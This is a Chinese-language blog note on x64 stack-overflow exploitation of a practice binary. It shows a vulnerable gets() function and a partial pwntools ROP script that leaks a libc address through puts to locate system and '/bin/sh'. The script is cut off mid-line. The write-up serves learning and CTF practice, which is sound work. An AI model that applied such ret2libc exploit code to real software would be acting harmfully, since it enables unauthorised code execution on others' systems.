释放双眼,带上耳机,听听看~!
有一段时间没写博客了,下午跟着巨佬学了点简单的栈溢出,拿其中两个例子做下笔记 ( x64
在虚拟机里用socat把程序挂起来 socat tcp-l:8233,fork exec:./challenge
查找偏移的网址:https://libc.blukat.me/
也可以使用跃哥的 https://github.com/lieanu/LibcSearcher ( 用着有点卡 Orz
0x01
第一个例子,漏洞点当然也很明显
1 2 3 4 5 6 7 8 | int vulfunc() { char v1; // [rsp+0h] [rbp-10h] puts(“data:”); gets(&v1); return printf(“data:%sn”, &v1); } |
在 gets
这个地方存在溢出,但是程序中没有 /bin/sh
字符串,也没有 system
, execve
等函数供我们使用,当然程序也开了NX
程序中供使用的函数主要有两个 puts
与 gets
,这里可以使用 puts
来泄露出 libc 中 system
与 /bin/sh
字符串的地址
因为是x64的程序,所以程序传参稍微有点不一样,因为puts仅需要一个参数,所以程序中可以很快找到一个可供使用的gadgets
首先使用puts来泄露出一个地址供查找,这里选择了泄露gets的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from pwn import * io = remote(‘10.211.55.33’, 8233) elf = ELF(‘./rop4’) context.log_level = ‘DEBUG’ puts_plt = p64(elf.plt[‘puts’]) gets_got = p64(elf.got[‘gets’]) pop_rdi_addr = p64(0x400773) vuln_func_addr = p64(0x400676) payload = ‘A’ * 0x10 + pop_rdi_addr*2 + gets_got + puts_plt + vuln_func_addr io.sendlineafter(‘data:’, payload) gets_addr = u64(io.recvuntil(‘x7f’)[-6:].ljust(8,’ |
声明:本站只作网络安全交流之用。严禁发布低俗、违法、涉及政治的内容。如若本站内容侵犯了原著者的合法权益,可联系我们[181-1319-3168]进行及时处理。